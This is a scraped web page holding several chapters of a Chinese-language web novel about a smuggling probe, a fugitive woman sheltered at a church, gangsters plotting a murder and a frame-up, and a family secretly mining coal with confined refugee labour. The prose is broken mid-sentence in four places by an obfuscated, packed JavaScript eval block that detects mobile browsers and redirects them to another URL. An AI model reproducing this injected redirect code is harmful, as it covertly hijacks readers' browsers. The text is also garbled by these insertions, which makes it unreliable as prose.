l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119612|195952||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
?
那人似乎察觉到了他的目光,转过身,斗笠下的视线扫过来。那目光锐利如鹰,带着审视和探究,在阿班身上停留片刻,又扫过地上散落的账册,以及被制服的打手。
一个官差上前,检查了一下阿班的伤势,回头禀报:“头儿,伤得不轻,但还有气。看样子是跟这些人搏斗过。”
为首那人走到阿班面前,居高临下地看着他:“你是何人?为何在此?”
阿班咳嗽了两声,嘴里有血腥味。他抬起头,雨水模糊了视线,但他努力看清对方——大约三十多岁,面容刚毅,下颌线条紧绷,眼神深不见底,带着久经沙场或刑狱的冷厉。
“小的……阿班,”他哑着嗓子回答,“在‘永丰号’货栈……跑腿。”
那人看向阿班:“‘永丰号’的疤爷现在何处?”
“不……不知道。黑皮哥他们……刚才来找,没找到。”
“黑皮?”那人看了一眼被捆得像粽子一样,正怨毒地盯着这边的黑皮,“是他?”
阿班点头。
那人沉默了片刻,目光再次落到散落的账册上。他走过去,随手捡起一本,翻看了几页。昏暗的光线下,那些简单的暗码和数字,似乎让他明白了什么。
“私铸、夹带、贩运违禁……”他低声自语,语气冰冷,“还有人口?”
最后三个字,让阿班心头一震。这人……知道得不少!
那人合上账册,看向阿班的眼神更加复杂。“你……知道多少?”
阿班垂下眼:“小的……只是跑腿,听吩咐干活。别的……不清楚。”
“不清楚?”那人似乎并不相信,但也没追问。他环视这个混乱、肮脏、充满罪恶痕迹的小院,最后目光落在阿班身上。“你伤得不轻,先治伤。但你是重要人证,需随我们回去问话。”
他挥了挥手:“来人,带他下去包扎,看管起来!”
两个官差上前,一左一右扶起阿班。动作不算温柔,但也没再施加伤害。
阿班没有反抗。他知道,这是目前最好的结果。至少,暂时脱离黑皮他们的魔爪。而且,官府介入,意味着何翯那边可能已经开始行动了。
他被扶到旁边一间稍微干燥些的柴房,一个随队的大夫模样的人进来,粗略地给他清洗伤口、上药、包扎。伤口不深,但失血加上淋雨,让他阵阵发冷。
外面,官差们正在迅速搜查整个院子。一切可疑的东西都被仔细封存。黑皮和几个打手被单独看押,嘴里塞了布,防止他们串供或自尽。
雨,渐渐小了。天边透出一点灰蒙蒙的光。
阿班靠在柴房的草堆上,听着外面有条不紊的搜查声,脑子里飞快地转着。
涵涵跑掉了吗?有没有被追上?那枚铜扣……她能不能保住?
何翯现在在哪里?这些官差,是她派来的吗?
还有……琪琪。林晚琪。
她现在,应该还在林府温暖的被窝里,对这场发生在城东破败胡同里的夜半惊变,一无所知吧?
阿班闭上眼,疲惫如潮水般涌来。
天,快要亮了。
32. 第三十二章 泥泞中的喘息
涵涵不知道自己是怎么从那堵湿滑的矮墙上滚下来的。膝盖和手肘重重磕在墙外泥泞的地面上,传来钻心的疼,混合着冰冷的雨水,让她几乎瞬间失去知觉。但她不敢停,甚至不敢回头看一眼那堵墙。
黑皮手下那两个打手翻墙追来的声音就在身后不远处!
她手脚并用地从泥水里爬起来,顾不上满身的污秽,一头扎进墙外更深的黑暗里。这里是一片荒废的菜地,沟壑纵横,杂草丛生,在暴雨的冲刷下更是泥泞不堪。涵涵深一脚浅一脚地狂奔,鞋子早就陷在泥里不知去向,赤脚踩在碎石和荆棘上,划出道道血口,但她毫无所觉。
身后传来打手的咒骂和追赶的脚步声,越来越近!
“站住!臭娘们!”
涵涵的心脏狂跳得快要炸开,肺部火辣辣地疼。她知道自己跑不过这些男人。绝望中,她看到前方不远处,菜地边缘,有一个被雨水冲垮了一半的、黑黢黢的土沟,沟边长满了茂密的、被雨水打得低伏的野蒿草。
没有时间犹豫了!
她用尽最后力气,朝着土沟的方向猛地一扑,整个人滚进沟里,顺势蜷缩进最茂密的那片蒿草丛下。湿冷黏腻的泥土瞬间包裹了她,腐烂的草叶和腥臭的泥水呛入口鼻,她死死咬住嘴唇,不敢发出一点声音。
几乎就在她藏好的下一秒,两个打手追到了附近。
“妈的!跑哪儿去了?!”
“肯定没跑远!这烂泥地,她一个女人能跑多快!”
“分头找!这贱人肯定知道什么,不能让她跑了!”
脚步声在附近杂乱地响着,火把胡乱扫过沟沿。涵涵屏住呼吸,身体僵硬得像块石头,心脏在胸腔里疯狂擂动,震得她耳膜嗡嗡作响。她能感觉到泥水正慢慢浸透她单薄的衣衫,带走最后一点体温,也能感觉到贴身藏着的那枚铜扣,正冰冷而坚硬地硌着她的胸口。她紧紧攥着胸前那点微凸,指甲掐进掌心,用疼痛强迫自己保持清醒,保持安静。
“这边没有!”
“这边也没有!妈的,见鬼了!”
两个打手在附近搜寻片刻,一无所获。雨势虽然小了,但依旧淅淅沥沥,掩盖了许多痕迹。
“算了!黑皮哥还在里面,官府的人不知道什么时候到……先回去再说!”一个打手语气焦躁。
“那这娘们……”
“管不了了!她自己跑进这荒郊野地,又是这种天气,不死也脱层皮!快走!”
脚步声匆匆远去,很快消失在雨幕中。
涵涵依旧一动不动,蜷缩在泥水里,直到确认外面彻底没了动静,只有渐渐沥沥的雨声,她才敢微微松开紧咬的牙关,发出一声压抑到极致的、混合着痛苦和劫后余生的抽泣。
雨,渐渐停了。天边透出灰白的光,黎明前的黑暗最是寒冷。
涵涵浑身湿透,沾满泥浆,冻得牙齿咯咯作响。她挣扎着,试图从泥沟里爬出来,但手脚早已冻得麻木,使不上力气。尝试了几次,都滑回沟底,反而弄得更加狼狈。
就在她几乎绝望的时候,远处隐约传来了人声和……马蹄声?
不是刚才打手那种粗暴的呼和,而是更加整齐、有序的声响。
涵涵的心再次提了起来。是官府的人搜过来了吗?
她连忙缩回蒿草丛最深处,连呼吸都放得极轻。
马蹄声和人声越来越近,似乎就在菜地边缘的小路上停了下来。
“……这边有脚印!很乱,往菜地里去了!”
“仔细搜!大人有令,活要见人,死要见尸!尤其是那个可能叫‘桂娘’的女子,是关键人证!”
真的是官府的人!他们在找她!
涵涵吓得死死捂住嘴。
官差们似乎下了马,开始进入菜地搜查。脚步声和拨动草丛的声音越来越近……
涵涵闭上眼睛,几乎能听到自己血液奔流的声音。完了……要被找到了……
就在这时——
“头儿!这边!这边有血迹,还有打斗痕迹!人可能翻墙回院子里去了!”另一个方向传来喊声。
“什么?过去看看!”被称为“头儿”的人立刻下令。
靠近涵涵藏身处的脚步声迅速远去。涵涵不敢立刻放松,依旧蜷缩着,直到外面的搜查声听不见,她才敢微微抬起头,透过蒿草的缝隙往外看。
天光已经大亮,雨彻底停了,但天空依旧阴沉,铅灰色的云层低垂。菜地里一片狼藉,泥泞不堪,远处那堵矮墙静默地立着,墙内似乎已经恢复了平静,但那种平静更让人不安。
涵涵浑身冰冷,牙齿不受控制地打颤。她知道自己必须离开这里,但去哪里?回柳枝胡同?那是自投罗网。去找现实里认识的盒盒?她连化名后的盒盒在哪里都不知道。而且她现在这副样子——满身泥污,衣衫褴褛,赤着双脚,脸上手上都是划伤——走在街上,立刻就会引起注意,说不定会被巡街的差役当成流民或逃犯抓起来。
绝望像冰冷的潮水,一点点淹没她。她趴在泥沟里,连爬出去的力气都快没了。
就在这时,一阵隐约的、悠扬的钟声,穿透清晨湿冷的空气,从远处传来。
铛……铛……铛……
钟声沉稳、舒缓,带着一种奇异的安抚力量,与这泥泞、混乱、充满暴力的环境格格不入。
涵涵茫然地抬起头,望向钟声传来的方向。那是……教堂的钟声?连州城西,靠近港口的地方,似乎有一座不大的西洋教堂,是那些金发碧眼的传教士建的。她以前听人提起过,说那些洋和尚念的经古怪,但建的房子尖尖的,挺显眼。
去那里?
这个念头冒出来,连她自己都觉得荒谬。她一个本朝妇人,去洋和尚的庙里?被人知道了,唾沫星子都能淹死她。而且,那些传教士会收留她这样一个来历不明、满身麻烦的女人吗?
钟声还在不紧不慢地响着,仿佛在召唤迷途的羔羊。
涵涵咬了咬牙。管不了那么多了!先找个地方躲起来,暖和一下,再想办法联系班班或者盒盒。
她挣扎着,用尽最后一点力气,从泥沟里爬了出来。冰冷的泥浆顺着身体往下淌,每走一步,赤脚踩在冰冷的泥地和碎石上,都疼得她直抽冷气。她辨了辨方向,朝着钟声传来的城西,深一
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119613|195952||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
脚浅一脚地走去。
清晨的街道上已经有了零星的行人。卖早点的摊子支起了炉灶,热气腾腾。涵涵低着头,尽量缩着身子,沿着墙根阴影快步走着。即便如此,她这副模样还是引来了不少侧目和指指点点。
“啧,哪来的叫花子?大清早的……”
“看着像个疯婆子……”
“离远点,晦气!”
涵涵充耳不闻,只是拼命加快脚步。膝盖和手肘的伤口在走动中不断被摩擦,传来阵阵刺痛。她感觉自己的意识又开始模糊,寒冷和疲惫像两只无形的手,要将她拖入黑暗。
不能倒在这里……不能……
她踉踉跄跄,空气里海腥味越来越浓。她看清那座教堂,灰白色的石头外墙,尖尖的屋顶上立着一个十字架,门虚掩着。涵涵鼓起最后的勇气,走到教堂门前,抬起沾满泥污的手,却犹豫着不敢推开那扇陌生的门。
门却从里面被拉开了。
一个穿着黑色长袍、脖子上挂着十字架的中年男人站在门口。他有着深褐色的头发,面容温和,眼窝深邃,鼻梁高挺,典型的西洋人长相。他看到门外站着的、如同泥塑鬼魅般的涵涵,明显愣了一下,蓝色的眼睛里闪过一丝惊讶,但很快被一种温和的关切取代。
“上帝保佑你,我的孩子。”他用带着明显异域口音,但还算流利的官话说道,声音低沉而平和,“你……需要帮助吗?”
他的目光落在涵涵赤着的、满是泥污和血口的双脚,以及她瑟瑟发抖的身体上。
涵涵张了张嘴,却发现自己发不出声音。眼泪毫无预兆地涌了上来,混合着脸上的泥水,滚落下来。她只是点了点头,几乎要栽倒。
传教士立刻上前一步,扶住了她。“小心!”他触手冰凉湿滑的泥浆,眉头微蹙,但并没有嫌弃地松开。“进来吧,孩子,进来暖和一下。”
教堂内部比外面看起来更宽敞一些。高穹顶,不大的彩色玻璃窗透进朦胧的光线。一排排简陋的长椅,前方是一个简单的祭坛,上面点着几支蜡烛。空气里弥漫着蜡烛、旧木头和一种淡淡的、类似熏香的气味。
传教士将涵涵扶到靠近祭坛的一张长椅上坐下。“你在这里等一下。”他匆匆走向教堂后面的一扇小门。传教士很快回来了,手里端着一个冒着热气的铜盆,胳膊上搭着干净的粗布和一件厚实的羊毛披肩。
“先擦擦脸和手吧,孩子。”他将盆放在涵涵脚边,把布递给她。
他还拿来了一点黑麦面包和温水。
涵涵接过面包,小口小口地吃着。粗糙的面包渣刮过干涩的喉咙,但她还是努力吞咽下去。温水顺着食道流下,带来一点点暖意。
“谢……谢谢您,神父。”她低声说,用上了她在现实中记得的对西洋教士的称呼。
“我叫约翰,约翰·马修。”传教士微笑道,“你可以叫我约翰神父,或者马修神父。这里是我的教堂,也是上帝的子民寻求庇护和安慰的地方。”他顿了顿,蓝色的眼睛温和而坚定地看着她,“孩子,你愿意告诉我,你遇到了什么麻烦吗?也许,上帝能指引我们找到帮助你的方法。”
33. 第三十三章 风暴眼
州府驿馆,何翯临时下榻的院落。
烛光下,何翯正翻阅着刚刚从“永丰号”查抄的部分账册摘要。她已换下官服,穿着一身利落的深色常服,眉宇间带着连日奔波的疲惫,但眼神依旧锐利如鹰。
一名校尉快步进来,低声禀报:“大人,长桥县衙的文书已全部封存运到。另外,柳枝胡同那边有回信。”
“说。”何翯头未抬。
“院子已控制,抓获以黑皮为首的打手四人。搜出私货三箱,账册七本。据黑皮初步供述,他们隶属‘永丰号’疤爷手下,负责货物处理转运。疤爷本人……昨夜事发前已不知所踪。”校尉停顿片刻继续道,“有个叫桂娘的女子翻墙逃脱,黑皮曾命手下两人追击。但我们的人并未追上那两人,也未能找到桂娘。目前这三人下落不明。
何翯指尖在账册某行代号上轻轻一点:“里面有没有一个叫阿班的帮工,人在何处呢?”
校尉道:“有,他与黑皮等人激烈打斗过受了重伤,已由随行大夫救治,暂无性命之忧,但尚未清醒。”
何翯放下账册,走到窗边,望着外面沉沉的夜色。
“阿班的伤势,何时能清醒问话?”
“大夫说,最快也要明日午后。”
何翯沉吟片刻。“保护好他,没有我的命令,任何人不得接近。另外,”她看向校尉,“长桥县赵文远,还有林府的林承业,现在什么反应?”
“赵县令惊慌失措,今日午后曾紧急召见林承业密谈。我们的人在外围听到零星言语,赵似乎在向林求助,希望其动用上层关系斡旋。林承业表面应承,但言辞谨慎,似在极力撇清与‘永丰号’的关联。”
何翯嘴角勾起一丝冰冷的弧度。撇清?只怕是欲盖弥彰。
“林府那位小姐,近日有何动向?”何翯问。
“深居简出,据眼线回报,自上次与赵珩踏青归来后,便极少出门,多在闺中习字绣花。其母似乎对码头区风声颇为忌惮,严令其安守府内。”
何翯走到书案前,手指无意识地敲击着桌面。“李大昌有踪迹吗?”
“暂无。此人极为狡猾,似乎早有准备,消失得干干净净。但……”校尉压低声音,“有未经证实的消息,昨夜事发前,曾有人看见疑似李大昌者,在码头附近与一条快船接触,随后快船离港,去向不明。”
“海路……”何翯眼神更冷。想从海上跑?没那么容易。
她迅速做出决断:“第一,加派人手,沿海岸线及附近岛屿秘密搜寻李大昌及那条快船踪迹,重点查与‘永丰号’或林家香料船队有往来的私港、渔村。第二,对林府,外松内紧。暂不直接接触,但盯紧林承业的一切对外联络,尤其是与州府以上、以及与海商有关的动向。第三,阿班一旦清醒,立刻秘密带来见我。第四,继续搜寻桂娘,但不要大张旗鼓,留意是否有异常女子试图接触官府或传递消息。”
“是!”校尉领命,正要退出。
“等等。”何翯叫住他,“以我的名义,给长桥县衙发一道公文。就说,为彻查户房渎职及关联私运案,需县令赵文远即日起,暂停一切公务,在衙内候询,配合调查。一应政务,暂由州府指派佐官代理。”
校尉心中一凛。这是要……软禁赵文远?彻底切断他对外串联的可能? “大人,这……是否需要州府……”
“照办。”何翯语气不容置疑,“非常之时,行非常之事。责任,我担。”
校尉不再多言,躬身退出。
房间里只剩下何翯一人。她走到墙边悬挂的连州海图前,目光落在标着“长桥县”、“清河镇”、“连州港”的位置上。手指沿着海岸线缓缓移动,最终停在几处标记模糊、可能被用作私港的小海湾上。
“李大昌……你最好跑得够快。”她低声自语,眼中寒光闪烁。
长桥县衙被州府来人“协助调查”的消息,像一颗投入死水潭的巨石,激起的涟漪迅速扩散到整个县城,尤其是与之利益纠缠最深的清河镇。
表面上看,镇上似乎比往日更安静了。玲珑阁等几家背后有衙门影子的铺子,罕见地早早卸下了门板,掌柜和伙计都缩在里头,神色惶惶。街上巡弋的、那些眼神不正的闲汉地痞少了许多,连空气中那股甜腻腐败的气味,似乎都被连日雨水冲刷得淡了些。
但这是一种令人窒息的安静。仿佛暴风雨来临前,万物屏息。
镇西头,慈济庵后山那片桃林在雨后显得格外凄清,落红混入泥泞。而更深处,通往西岭的山路入口附近,几个穿着粗布衣裳、看似樵夫或猎户的汉子,正蹲在隐蔽处低声交谈。他们腰间鼓囊,眼神警惕地扫视着四周。
“疤爷栽了,黑皮也折进去了……‘永丰号’那条线算是废了。”一个半张脸布满烧伤的汉子啐了一口,“妈的,东家那边一点信儿都没透,说扔就扔!”
“扔?”另一个精瘦的汉子冷笑,“怕是东家自己都泥菩萨过江了。你没听说?州府来的那位何大人,铁面得很,直接停了赵县令的职!赵文远可是东家才派来县里没多久的棋子,结果人还没站稳,就保不住了,咱们这些下头跑腿的……”
“那现在怎么办?货还压在老地方,账本也不知道落到谁手里了……”第三人声音发颤。
烧伤脸的眼神阴鸷:“等等东家那边的消息。李师爷……李大昌不是跑了吗?他手里肯定有路子,有上面更硬的关系。只要他能出去,咱们就还有指望。”
“指望他?”精瘦汉子嗤笑,“那是个吃人不吐骨头的主儿,比疤爷还狠。他跑路会带上咱们?别做梦了。要我说,趁现在水还没彻底搅浑,能捞一点是一点,然后……”
他顿了顿,目光扫过同伴,眼中闪过一丝寒光,声音几乎是从牙缝里挤出来的:“……得让那姓李的,把嘴永远闭上。他知道的太多了,又比泥鳅还滑。万一他落到官府手里
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119614|195952||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,或者……为了自己活命,把咱们都卖了……”
他做了个抹脖子的手势,又指了指沿海方向的渔村,那里是走私船和亡命徒出没的地方。“那边,风浪大,死个把人,沉海里,连个泡都冒不出来。干净。”
烧伤脸沉默了片刻,眼神闪烁,最终缓缓点了点头,声音沙哑:“……是得干净。不能留后患。”
第三人打了个寒颤,没敢再说话。
与此同时,清河镇码头区一间不起眼的渔家小院里,门窗紧闭。屋里弥漫着劣质烟草和鱼腥混合的气味。一个穿着绸衫、却掩不住市侩气的矮胖男人,正焦躁地踱步。他是镇上另一股势力的小头目,平时与“永丰号”的疤爷既有合作也有摩擦。
“赵文远被停了职,‘永丰号’垮了,李大昌跑了……”矮胖男人喃喃自语,眼中却闪着异样的光,“这潭水……要清了?还是……要换个主人了?”
他手下一个小弟凑过来,低声道:“大哥,咱们库房里还压着上次从疤爷那儿截的一小批‘青料’,成色不错。现在他们乱了,是不是……可以趁机出手?卖到南边去,价钱能翻几倍!”
矮胖男人停下脚步,摸了摸下巴:“出手?现在风头这么紧,州府的人眼睛盯着呢!弄不好就是引火烧身。”
“那……就这么放着?万一被搜出来……”
“搜?”矮胖男人眼中闪过一丝狡黠,“谁说一定要放在咱们库房?就不能是……别人寄存的?或者,是咱们捡的?”
小弟一愣,随即明白过来:“大哥的意思是……栽?”
“嘘!”矮胖男人瞪了他一眼,“话别说那么难听。这叫……物归原主,或者,帮官府找到赃物。”他阴阴一笑,“不过,这赃物该在谁手里被找到,才能让咱们既撇清关系,又能……捞点好处,或者,除掉个碍眼的,就得好好琢磨琢磨了。”
他走到窗边,透过缝隙望向阴沉的天色和远处寂静的码头。“林家的船,这几天好像也少了?”
“是,听说林老爷吩咐了,近期船只进出都要严查,非必要不跑远海。”
“林家……”矮胖男人若有所思,“林承业那个老狐狸,肯定在急着擦屁股。他那个宝贝女儿……你说要是这时候,再有点什么‘意外’牵扯到林二小姐,林承业会不会更急着……息事宁人?甚至,求到咱们头上?”
小弟倒吸一口凉气:“大哥,您想动林家小姐?那可是……”
“动?”矮胖男人摇头,“咱们是正经生意人,动什么动?我是说……万一,有些流言,或者赃物的线索,不小心跟林府沾了点边……林老爷为了宝贝女儿的声誉,是不是得花点力气,让这些流言和线索消失?咱们呢,恰好知道怎么让这些东西消失……当然,这需要打点,需要诚意。”
他转过身,脸上是毫不掩饰的贪婪与算计。“这潭水越浑,对会游泳的人来说,机会才越多。就看谁……手快,心狠了。”
34. 第三十四章 林家的算盘
长桥县,林府,深夜。
沉香也盖不住书房里凝重的气氛。
林承业坐在主位,而真正掌控着局势的是坐在他下首太师椅上的长子——林景明。林家长子约莫二十五六岁,面容与林承业有五六分相似,但眉眼更显锐利,嘴唇薄而紧抿,一双眼睛看人时毫不掩饰地带着冰冷的审视。他是林家真正的头脑,是那条连接着清河镇、连州港乃至更深处黑暗的隐形丝线的操控者。一直盘踞在京城的他破天荒回到了长桥县本家。
管家林福垂手立在门口,大气不敢出。
“父亲不必过于忧心赵大人。”林景明的声音不高,但是很沉稳,“赵大人已是惊弓之鸟,自身难保。向我们求助,不过是病急乱投医。我们只需虚与委蛇,让他觉得还有希望,暂时稳住他,别让他狗急跳墙乱咬人即可。”
林承业眉头紧锁:“何御史动作太快,直接提调县衙文书,这是要刨根问底!还有那逃窜的李大昌,万一被抓到会不会供出我们?”
“李大昌?”林景明嘴角扯出一丝冷笑,“一个见不得光的泥鳅罢了。他知道分寸,更知道乱说话的后果。他跑,对我们反而是好事,死无对证。”他顿了顿,指尖在扶手上轻轻敲击,“关键在于,‘永丰号’那边的尾巴,我们断得够不够干净。疤爷失踪,黑皮被抓,但核心的账目和货物流向,他们知道多少?”
林福连忙上前一步,低声道:“回大少爷,按照您之前的吩咐,与‘永丰号’明面上的香料交易账目一清二白,绝无问题。疤爷一向谨慎,用的是单独的暗账和代号。柳枝胡同那边,桂娘处理的账本都是零碎活,接触不到核心。只是……”他犹豫了一下,“昨夜事发突然,阿班那个小子,似乎有点不对劲。”
“阿班?”林景明眼神一厉,“我知道这人,是疤爷从酒馆招来的流民。他怎么了?”
“黑皮之前提过一句,说这小子有时候眼神太活,不像普通苦力。昨夜桂娘逃跑,他拼死阻拦黑皮的人,伤得很重……现在落在何御史手里。”
林景明沉默片刻,手指摩挲着茶杯的杯口。“一个无关紧要的帮工无关大局。关键是……”他抬起眼,目光锐利地看向林承业,“我那位妹妹最近可还好?”
提到林晚琪,林承业脸上的肌肉几不可察地抽搐了一下。那不是一个父亲对女儿应有的神情,更像是在担心一个随时可能被引爆的麻烦。
“她?”林承业语气复杂,“自上次从清河镇回来,受了惊吓,倒是比之前更安分了。整日待在房里,不是抄书就是发呆。春竹说,她偶尔会看着窗外愣神,但问什么,都只说没事。”
“惊吓?”林景明嗤笑,“她是该怕。一个本该痴痴傻傻、被圈在后院角落里自生自灭的废物,突然开了窍,还顶着林家二小姐的名头……她最该怕的,不是外面的风雨,而是这林府的高墙。”
书房内一片死寂。烛火跳动,映着林氏父子脸上相似的冷酷。
林家真正的二小姐林晚琪,从出生起就是个痴儿。这是林家极力掩盖的丑闻,也是林承业心头一根刺。这个女儿一直被秘密养在府邸最深处,除了极少数心腹,无人知晓她的真实状况。林家对外,只宣称二小姐体弱,需静养。
直到一个多月前,春竹惊慌失措地跑来禀报:那个终日呆坐、不言不语的痴傻小姐,突然眼神清明,开口说话了,虽然言语间充满陌生,但确确实实是“清醒”了。
这个消息让林承业和林景明震惊之余,迅速看到了价值。一个突然恢复神智,但对外界一无所知,且完全依赖林家的女儿,岂不是比一个痴儿更有用?
于是,一场精心策划的戏码立刻上演。林家对外宣布,二小姐林晚琪大病初愈,又恰逢及笄之年,当可出来见人。他们匆忙补办了一场规模不大,但足够体面的及笄礼,邀请的宾客都是经过筛选。但是,那个清醒的林晚琪并没有参加,而是由某个替身带着面纱由林夫人和丫鬟紧紧搀扶出席了及笄礼,几乎没给人仔细端详的机会。这一切清醒的林晚琪毫不知情,她一直被以身体仍需调养为由,深居简出,好在她本人也不介意。
“青石村那边的地开始了吗?”林景明终于问起了他这次回本家最想知道的进度。
“回大少爷,已经动工了。”林福连忙回答,声音压得更低,“按您的吩咐,从去年水患后收拢的流民里,挑了最身强力壮、无亲无故的一批,大约五十人,分批送到了西岭那边。对外只说是开荒种药,那边山深林密,又有咱们的人看着,寻常人靠近不了。”
林景明微微颔首:“进度如何?”
“头一个月主要是清理场地,伐木开路。最近……挖到东西了。”林福的声音里透出一丝不易察觉的兴奋,又混杂着谨慎,“不是寻常石头。黑黢黢的,能烧,火头很硬,烟也大。底下的人不敢确定,找了两个懂行的老矿工偷偷去看过,说是……石炭,而且矿脉露头,看着不浅。”
林承业猛地坐直身体,连呼吸都粗重了几分。林景明眼中也骤然爆发出贪婪的光芒,但随即被他强行压下,转为一种更深沉的算计。
煤矿。在这个时代,是比金银更实在的财富。冶炼、烧窑、冬日取暖……哪一样离得开它?尤其是林家正在拓展的海外香料贸易,若能控制一处优质煤矿,不仅能为自家的工坊提供廉价燃料,更能作为一项独立的、利润惊人的大宗商品。
“消息封锁了?”林景明的声音依旧平稳,但语速快了些。
“绝对封锁!”林福斩钉截铁,“知道实情的,除了那两个老矿工,就是咱们派去的几个心腹头目。那些流民只当是在挖一种特殊的黑土,用来肥田或者烧窑。他们吃住都在山里,与外界隔绝,有人日夜看守,跑不了。”
“那两个老矿工,可靠?”
“家小都在咱们手里,嘴也严实。而且……”林福顿了顿,“他们见识了那矿的潜力,知道跟着大少爷,才有泼天的富贵。”
林景明点了点头,手指在扶手上轻轻敲击,节奏比刚才快了些许。“清河镇那边一乱,西岭反而更安全了。所有人的眼睛都盯着码头和县衙,没人会注意那片荒地。”他看向林承业,“父亲,这是天赐良机。必须加快进度,趁着这阵乱,把基础打牢,把矿道初步开出来。等风头过去,我们手里就多了一张别人想都想不到的王牌。”
林承业脸上的忧虑被一种混合着贪婪和决断的神情取代。“人手够吗?五十个流民,开矿……”
“不够就再送。”林景明打断他,语气冷酷,“流民有的是。去年一场大水,今年春荒,多少人卖儿卖女都活不下去。我们给他们一口饭吃,一个活干,是善举。死了……也不过是时运不济、身子骨弱。”他顿了顿,补充道,“关键是要快,要隐秘。工具、粮食,通过咱们自己的渠道,分批运进去。对外,西岭那片地,就是林家新买的药田,雇了些流民开荒,合情合理。”
“那……何御史那边万一查到西岭……”林承业仍有顾虑。
“查?”林景明冷笑,“她查的是户房渎职、私运违禁、人口拐卖。西岭那片地,地契齐全,买卖合法,雇工开荒,何错之有?她若真派人去查,看到的只会是规规矩矩的垦荒场面。至于地底下……”他眼中寒光一闪,“等她能查到地底下的时候,我们早就不是现在的林家了。”
书房里再次陷入沉默,只有烛火噼啪作响。巨大的利益伴
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119615|195952||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
随着巨大的风险,但林景明显然已经权衡清楚,并且准备不惜代价。
“还有一件事,我那位妹妹,得想个法子让她彻底有用起来。”林景明的声音在烛光下显得格外冰冷,“她现在的身份,最大的价值就是联姻。林家嫡女足以匹配一个对我们有帮助的家族。”
林承业眉头皱得更紧:“联姻?现在这种时候?何御史盯着,赵文远自身难保,我们……”
“正因为是这种时候,才更需要稳固的盟友。”林景明打断他,眼中闪烁着算计的光芒,“赵文远已经是一枚废棋,东家那边自顾不暇。我们必须为自己铺路。联姻,是最快、最有效的方式。”
“可是晚琪她……”林承业欲言又止,脸上闪过一丝复杂,“她对人情世故一窍不通,举止也……时而古怪。贸然联姻,万一露了破绽……”
“所以才需要准备。”林景明的手指在扶手上轻轻敲击,节奏稳定而充满压迫感,“母亲那边,不是已经开始教她规矩了吗?继续教,加紧教。让她背熟家谱,记住各府关系,学会最基本的应对。不需要她多么玲珑剔透,只要她看起来正常,像个被保护得太好、有些羞怯的大家闺秀就行。”
他顿了顿,嘴角勾起一丝近乎残忍的弧度:“至于她那些古怪……可以解释为病愈不久,心神未定,或者天性单纯。只要不涉及根本,无伤大雅。联姻的对象,未必需要多么精明,有时候,一个简单、听话的妻子,反而更符合某些人的需要。”
林福在一旁垂着头,大气不敢出。他深知大少爷的手段,这位突然清醒的二小姐,在林家眼中,恐怕从来就不是失而复得的珍宝,而是一件需要尽快利用起来的特殊资产。
“父亲,”林景明看向林承业,语气不容置疑,“您近期可以开始留意合适的人选了。不必局限于长桥县或连州。京城、江南,只要有助益,都可以考虑。但切记,要低调,先暗中接触,探探口风。在何御史这阵风彻底过去之前,不宜大张旗鼓。”
林承业沉默良久,最终缓缓点头。他知道儿子说得对。林家这艘船,不能只靠一条即将沉没的破船维系。必须找到新的、更坚固的码头。而林晚琪,这个意外恢复的女儿,或许就是最好的敲门砖。
“那……赵珩那边?”林承业想起雅集上那位温文尔雅的县令公子。
林景明眼中闪过一丝不屑:“赵珩?他父亲自身难保,他本人不过是个有些才名的书生,对林家目前处境毫无助益。之前借书往来,不过是维持与赵文远表面关系的点缀,顺便观察一下我那位妹妹的反应。现在看来,她似乎对赵珩并无特别之处,这样更好,省得麻烦。”
他站起身,走到窗边,望着外面沉沉的夜色。“林福,西岭的事,你亲自盯着,每日一报,不得有误。至于二小姐那边让母亲抓紧些。我要她在必要的时候,能像个真正的林家小姐一样,站在人前。”
“是,大少爷。”林福躬身应道,后背已被冷汗浸湿。
林景明挥了挥手,林福悄无声息地退了出去,轻轻带上了书房的门。
书房里只剩下父子二人。烛火将他们的影子拉长,投在墙壁上,扭曲而沉默。
“景明,”林承业的声音有些干涩,“晚琪她……终究是你的亲妹妹。我们这样利用她……”
“父亲。”林景明打断他,声音里没有一丝温度,“在林家,只分有用和没用。她痴傻了十五年,是林家的累赘和耻辱。现在她醒了,这是老天给林家的机会,也是给她自己一个体面活下去的价值。否则……”他顿了顿,没有说下去,但意思不言而喻。
林承业闭上了眼睛,没有再说话。书房里,只剩下烛火燃烧的细微声响。
35. 第三十五章 笼中雀
清晨,我被春竹比往日更轻、更急促的呼唤声唤醒。
